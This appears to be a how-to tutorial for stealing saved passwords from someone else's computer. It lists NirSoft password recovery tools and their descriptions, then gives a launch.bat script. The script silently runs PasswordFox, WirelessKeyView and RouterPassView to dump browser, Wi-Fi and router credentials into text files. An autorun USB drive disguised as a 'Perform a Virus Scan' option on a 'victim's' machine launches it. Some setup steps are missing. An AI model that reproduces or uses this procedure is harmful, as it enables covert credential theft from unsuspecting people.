The screenshot shows a web browser window with the URL www.nirsoft.net/password_recovery_tools.html. The browser's address bar and tabs are visible at the top. The main content area displays a list of password recovery tools, each with a link and a brief description. On the left side of the browser window, there is a sidebar with the text "Start Here - Begin Download. Download Now & Start Using!" and a large right-pointing arrow button.

Mail PassView	Recovers the passwords of the following email programs: Windows Live Mail, Windows Mail, Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE PassView	IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0 and 8.0, as well as older versions of Internet explorer, v4.0 - v6.0
Protected Storage PassView	Recovers all passwords stored inside the Windows Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more...
Dialupass	Password recovery tool that reveals all passwords stored in dial-up entries of Windows. (Internet and VPN connections) This tool works in all versions of Windows, including Windows 2000, Windows XP, Windows Vista, Windows 7, and Windows Server 2003/2008.
BulletsPassView	BulletsPassView is a password recovery tool that reveals the passwords stored behind the bullets in the standard password text-box of Windows operating system and Internet Explorer Web browser. After revealing the passwords, you can easily copy them to the clipboard or save them into text/html/csv/xml file. You can use this tool to recover the passwords of many Windows applications, like CuteFTP, Filezilla, VNC, and more...
Network Password Recovery	Recover network shares passwords stored by Windows XP, Windows Vista, Windows 7, and Windows Server 2003/2008.
SniffPass Password Sniffer	Windows utility which capture the passwords that pass through your network adapter, and display them on the screen instantly. You can use this utility to recover lost Web/FTP/Email passwords.
RouterPassView	Windows utility that can recover lost passwords from configuration file saved by a router. This utility only works if your router save the configuration file in a format that RouterPassView can detect and decrypt.
PstPassword	Recovers lost password of Outlook PST file.
PasswordFox	PasswordFox is a small password recovery tool for Windows that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
ChromePass	ChromePass is a small password recovery tool for Windows that allows you to view the user names and passwords stored by Google Chrome Web browser. For each password entry, the following information is displayed: Origin URL, Action URL, User Name Field, Password Field, User Name, Password, and Created Time. You can select one or more items and then save them into text/html/xml file or copy them to the clipboard.
OperaPassView	OperaPassView is a small password recovery tool that decrypts the content of the Opera Web browser password file (wand.dat) and displays the list of all Web site passwords stored in this file. You can easily select one or more passwords in the OperaPassView window, and then copy the passwords list to the clipboard and save it into text/html/csv/xml file.
WebBrowserPassView	WebBrowserPassView is a password recovery tool that reveals the passwords stored by the following Web browsers: Internet Explorer (Version 4.0 - 8.0), Mozilla Firefox (All Versions), Google Chrome, and Opera. This tool can be used to recover your lost/forgotten password of any Website, including popular Web sites, like Facebook, Yahoo, Google, and

Save all Program In USB Drive

Step4: Create Other Text File And Type

```
File Edit Format View Help
start PasswordFox.exe /stext passwordfox.txt
start WirelessKeyView.exe /stext wirelesskeyview.txt
start RouterPassView.exe /stext RouterPassView.txt
```

Save It With Name launch.bat in USB Flash

- Insert the pen-drive in to victims window will pop-up. (This is because, we have created an auto-run pen-drive).
- In the pop-up window, select the first option (**Perform a Virus Scan**).
- Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the **.TXT** files.
- Remove the pen-drive and you'll see the stored passwords in the **.TXT** files.
